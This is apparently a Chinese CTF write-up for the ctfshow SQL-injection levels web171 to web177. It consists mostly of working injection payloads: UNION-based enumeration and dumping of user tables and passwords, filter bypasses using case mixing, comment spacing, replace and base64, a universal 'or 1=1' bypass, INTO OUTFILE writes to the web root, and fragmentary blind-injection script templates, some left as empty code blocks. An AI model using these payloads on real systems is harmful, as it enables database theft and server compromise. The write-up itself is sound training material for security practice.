2021/8/25
web171
查库名
1  | 0' union select 1,database(),3 --+ //ctfshow_web  | 
查表名
1  | 0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ //ctfshow_user  | 
查列名
1  | 0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user' --+ //id,username,password  | 
查数据
1  | 0' union select id,username,password from ctfshow_user --+ //flag  | 
web172
1  | //拼接sql语句查找指定ID用户  | 
要求username字段不能出现flag
查列数
1  | 1' order by 2 --+ //一共两列  | 
查库名
1  | 0' union select 1,database() --+ //ctfshow_web  | 
查表名
1  | 0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+ //ctfshow_user2  | 
查数据
1  | 0' union select username,group_concat(password) from ctfshow_user2 --+ //flag  | 
web173
1  | //拼接sql语句查找指定ID用户  | 
对返回的数据进行过滤
查列数
1  | 1' order by 3 --+ //一共两列  | 
查库名
1  | 0' union select 1,database(),3 --+ //ctfshow_web  | 
查表名
1  | 0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ //ctfshow_user3  | 
查数据
1  | 0' union select username,group_concat(password),3 from ctfshow_user3 --+ //flag  | 
2021/8/27
web174
1  | //拼接sql语句查找指定ID用户  | 
检测返回结果是否有flag和数字 如果存在就不输出
1  | 1' union select replace(username,'g','a') ,'a' from ctfshow_user4 --+  | 
方法一
查列数
1  | 1' order by 2 --+  | 
查库名
1  | 0' union select 'a',database() --+ //ctfshow_web  | 
查表名
1  | 0' union select 'a',replace(group_concat(table_name),'4','a') from information_schema.tables where table_schema=database() --+ //ctfshow_user4  | 
查列名
1  | 0' union select 'a',group_concat(column_name) from information_schema.columns where table_name='ctfshow_user4' --+ //id,username,password  | 
查username值
1  | 0' union select to_base64(username),'password' from ctfshow_user4 --+ //ZmxhZw== //flag  | 
查password值
1  | 0' union select replace(username,'f','a'),replace(replace(password,'0','a'),'1','b') from ctfshow_user4 --+  | 
把字母变成数字
1  | 
  | 
方法二
写文件方法 前提是设置了允许写文件
1  | 0' union select username,password from ctfshow_user4 into outfile '/var/www/html/1.txt' --+ //返回信息 Query OK, 1 row affected (0.01 sec)  | 
方法三
盲注
1  | #-- coding:UTF-8 --  | 
1  | # -*- coding: utf-8 -*-  | 
1  | min max mid  | 
1  | payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'small','da')+--+"%(i,mid)  | 
1  | payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),1,1))<57,'small','da')+--+"%(i,mid)  | 
web175
1  | //拼接sql语句查找指定ID用户  | 
方法一
1  | # -*- coding: utf-8 -*-  | 
方法二
写文件
1  | 0' union select username,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+ //返回信息 Query OK, 1 row affected (0.01 sec)  | 
2021/9/3
web176
源码:
1  | //拼接sql语句查找指定ID用户  | 
方法一
查列数
1  | 1' order by 3 --+  | 
查库名
1  | 0' unIoN SelEcT 1,database(),3 --+ //ctfshow_web  | 
查表名
1  | 0' unIoN SelEcT 1,group_concat(taBle_nAme),3 From infoRmaTion_schEma.taBles wHerE table_schema=database() --+ //ctfshow_user  | 
查列名
1  | 0' unIoN SelEcT 1,group_concat(Column_nAme),3 From infoRmaTion_schEma.colUmns wHerE table_name='ctfshow_user' --+ //id,username,password  | 
查username值
1  | 0' unIoN SelEcT id,username,password From ctfshow_user --+ //flag  | 
查password值
1  | 0' unIoN SelEcT id,username,password From ctfshow_user --+ //flag  | 
貌似只过滤了 union select
方法二
万能密码
1  | 1' or 1=1 --+ //输出所有字段  | 
web177
查列数
1  | 1'/**/order/**/by/**/3/**/%23  | 
查库名
1  | 0'/**/union/**/select/**/1,database(),3/**/%23 //ctfshow_web  | 
查表名
1  | 0'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/%23 //ctfshow_user  | 
查列名
1  | 0'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'/**/%23 //id,username,password  | 
查字段内容
1  | 0'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/%23 //flag  |